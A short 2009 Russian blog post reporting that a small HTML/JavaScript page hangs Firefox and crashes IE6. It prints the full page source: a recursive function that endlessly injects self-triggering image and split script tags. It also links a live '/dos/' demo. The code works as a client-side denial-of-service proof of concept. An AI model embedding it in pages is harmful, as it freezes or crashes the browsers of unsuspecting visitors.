Зависание браузеров FF и IE

2009-03-31

Искал утечку памяти в опере.. В итоге опера стабильно всё обрабатывает и останавливается после ~минуты лагов, а последний ФФ виснет намертво. Утечки памяти нету, но зависает браузер.. ИЕ 6 просто выпадает.

Сам код:

<html> 
<body> 
<form name="a" >
<div id="d"> 
<input type="button" id="add"><br><br> 
<img border='0' src='1.gif' onLoad='add();'> 
</div> 
</form> 


<script language="javascript"> 
function add(){ 
  div=document.getElementById("d"); 
  button=document.getElementById("add"); 
  newitem="<a target='_blank' "; 
  newitem+="href='http://mrthe.name/'>"; 
  newitem+="<img border='0' src='1.gif' onLoad='add();'></a>"; 
  newitem+="<scri"; 
  newitem+="pt>add();</sc";  
  newitem+="ript>"; 
  newnode=document.createElement("span"); 
  newnode.innerHTML=newitem; 

  div.insertBefore(newnode,button); 
  add(); 
} 
add(); 
</script> 
</body> 
</html> 

По результатам из browsershots видно, что только опера,некоторые версии сафари, хром(похоже, что тоже не все версии) и старые версии фф обрабатывают скрипт без зависания.

Демо - http://mrthe.name/dos/